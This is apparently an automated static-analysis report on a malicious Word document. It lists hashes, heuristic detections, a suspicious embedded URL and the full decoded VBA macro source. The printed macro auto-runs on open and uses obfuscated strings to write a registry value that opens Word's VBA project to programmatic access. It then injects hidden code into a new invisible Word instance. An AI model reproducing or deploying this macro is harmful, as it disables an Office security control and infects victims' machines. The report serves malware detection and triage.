Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4fd9affd6cae643d…

MALICIOUS

Office (OOXML)

100.9 KB Created: 2021-04-28 05:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 8ade0ee7353d64aeac9d53d3ec46f638 SHA-1: d8672768cc9b2050008c7db1fe73342628f3cfd7 SHA-256: 4fd9affd6cae643def63fe38382aeaf6d6972e0927165b192f3c2408bc3ec40f
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    viewStorage.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString repoOption
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set vbFunc = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://shepard2018-transport.com/bijol/Aobi0ALLez0HkzJ3Tiik2YxtlkOXUyWLjphkF5FE/rc4htVOK5jSU7jR/pPImzpiKfGsVqfUgAbSAF64f95I51JxrJ8KafT4A25Hz5/sQGl4hMo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2881 bytes
SHA-256: d3a3b61d2af02b7878b28ada19135d89e8924918c6052548aece0a65ac090af1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{DEF62DC7-46EA-4727-9CEA-CD6C22EFF53A}{991B5B79-C0E0-416D-BF9C-FBFA1FA73713}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "windowMainRequest"
Sub autoopen()
counterMem
Dim referenceMem As String
referenceMem = listboxCaptionNamespace
bufCaption referenceMem
End Sub

Attribute VB_Name = "deleteRemove"
Function memoryVariableMem(constRepo As String) As Variant
Dim vbFunc As Object
Dim structRepo As Object
Set vbFunc = CreateObject("msxml2.domdocument")
Set structRepo = vbFunc.createElement("code")
structRepo.DataType = "bin.base64"
structRepo.Text = constRepo
memoryVariableMem = structRepo.nodeTypedValue
End Function
Function bufferRequestArray(removeFuncGlobal, removeWindow)
bufferRequestArray = StrConv(removeFuncGlobal, removeWindow)
End Function

Attribute VB_Name = "removeListboxSelect"
Sub bufCaption(repoOption As String)
Set procedureValueWindow = CreateObject("word.application")
Set viewStorage = procedureValueWindow.Documents.Add
viewStorage.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString repoOption
procedureValueWindow.Visible = False
procedureValueWindow.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "valueTmpTemp"
Function dataLocalResponse() As String
dataLocalResponse = Application.Version
End Function
Function storageA()
storageA = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function clearRef()
clearRef = "cript.sh"
End Function
Function bufferPtrSize()
bufferPtrSize = "VjdXJpdHlcQWN"
End Function
Sub counterMem()
queryPtrVb = bufferRequestArray(memoryVariableMem("SEtFWV9DVVJSR" & storageA & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
trustStorage = dataLocalResponse
loadViewValue = bufferRequestArray(memoryVariableMem("XFdvcmRcU2" & bufferPtrSize & "jZXNzVkJPTQ=="), vbUnicode)
buttonFunc = queryPtrVb & trustStorage & loadViewValue
With CreateObject("ws" & clearRef & "ell")
.RegWrite buttonFunc, 1, "REG_DWORD"
End With
End Sub
Public Function varMain(ByVal textWindowBorder As String) As String
For trustDatabaseA = 1 To Len(textWindowBorder) Step 2
linkTable = Chr$(Val("&H" & Mid$(textWindowBorder, trustDatabaseA, 2)))
classGenericSize = classGenericSize & linkTable
Next trustDatabaseA
varMain = classGenericSize
End Function
Function listboxCaptionNamespace()
listboxCaptionNamespace = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 079b5cbaf8e1de3aa8eaf65c6518e996e69665e585b487335ac1822ceeff5293
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.